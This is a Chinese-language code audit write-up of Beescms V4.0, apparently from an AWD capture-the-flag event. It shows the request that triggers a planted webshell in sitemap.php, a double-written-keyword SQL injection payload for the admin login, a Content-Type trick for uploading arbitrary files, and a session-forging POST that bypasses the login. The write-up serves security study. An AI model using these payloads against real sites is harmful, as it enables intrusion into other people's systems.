代碼審計-Beescms_V4.0


Beescms_V4.0代碼審計源於一場AWD線下比賽的漏洞源碼 

看了別的師傅的文章發現這個源碼也非常簡單 ,所以今晚簡單審計過一遍。

 

0x01 預留后門

awd首先備份源碼,然后下載下來查殺后門,很可能有隱藏后門,有的話直接拿這個后門開始第一輪刷分攻擊。

D盾查殺可疑后門,如下;

 

site/sitemap.php 文件疑似木馬,查看一下;

 

明顯的一句話木馬

 

構造也很簡單:

Post:lang=system
Get:0=ls

 

 

查看flag   0=cat /flag

 

 

 

以下的代碼 我選擇快速審計 大體看功能 ----》推測可能存在某個漏洞------》看核心源碼驗證漏洞。

 

 0x02 后台SQL注入

http://192.168.5.149/BEES_4.0/admin/login.php

登錄加單引號 報錯 估計有注入

 

看源碼

文件:/admin/login.php

 

 很簡單的邏輯

 在42和43行發現對user和password進過fl_value()和fl_html()處理,然后送入check_login(),check_login函數我們來看看是什么

 

可以看到只是功能只是最后帶入查詢和驗證密碼 那么重點過濾函數應該在前面的fl_value()和fl_html()這兩個函數上,跟進。

 fl_value():

發現 fl_value()函數就是用htmlspecialchars(()函數對字符進行轉義,將特殊字符用引用實體替換。

被轉換的預定義的字符有:

&:轉換為&
":轉換為"
':轉換為成為 '
<:轉換為&lt;
>:轉換為&gt;

再看看fl_value():

function fl_value($str){
    if(empty($str)){return;}
    return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}

 

fl_value()用preg_replace()將select、insert、and、on等等關鍵詞替換為空,這個雙寫關鍵字即可繞過。fl_html()也就是htmlspecialchars()采用的是默認參數,僅編碼雙引號,所以對於’不會過濾,要想過濾單引號和雙引號需要加上ENT_QUOTES參數

所以這里構造注入payload(這是網上文章原文的):

user=admin' uni union on selselectect 1,2,3,4,5#&password=1&code=62e4&submit=true&submit.x=56&submit.y=27

 

 

 

0x03 后台任意文件上傳

      可以登錄后台進行測試。后台發現有圖片上傳的地方

來看下代碼:

 

 

is_uploaded_file($_FILES['up']['tmp_name'])){
    if($up_type=='pic'){
        $is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
        $thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
        $thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
        $logo=0;
        $is_up_size = $_sys['upload_size']*1000*1000;
        $value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
        $pic=$value_arr['pic'];
        if(!empty($value_arr['thumb'])){
        $pic=$value_arr['thumb'];
        }
        $str="<script type=\"text/javascript\">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>";
        echo $str;
        exit;
    }//圖片上傳

 

 

 發現在44行

$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);

 

定義了mime類型 只需要改下content-type得值即可。

 

0x04 前台登錄繞過

在admin/init.php中第54行發現判斷函數is_login():

 

跟進這個函數

 

 這里驗證session中得login_in和admin字段 我們可以偽造進行繞過。

 

POST:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM